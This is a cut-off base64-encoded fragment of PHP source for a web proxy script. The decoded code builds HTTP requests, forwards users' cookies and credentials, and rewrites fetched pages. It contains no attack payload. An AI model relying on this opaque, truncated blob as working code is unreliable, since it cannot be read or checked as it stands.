b2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2V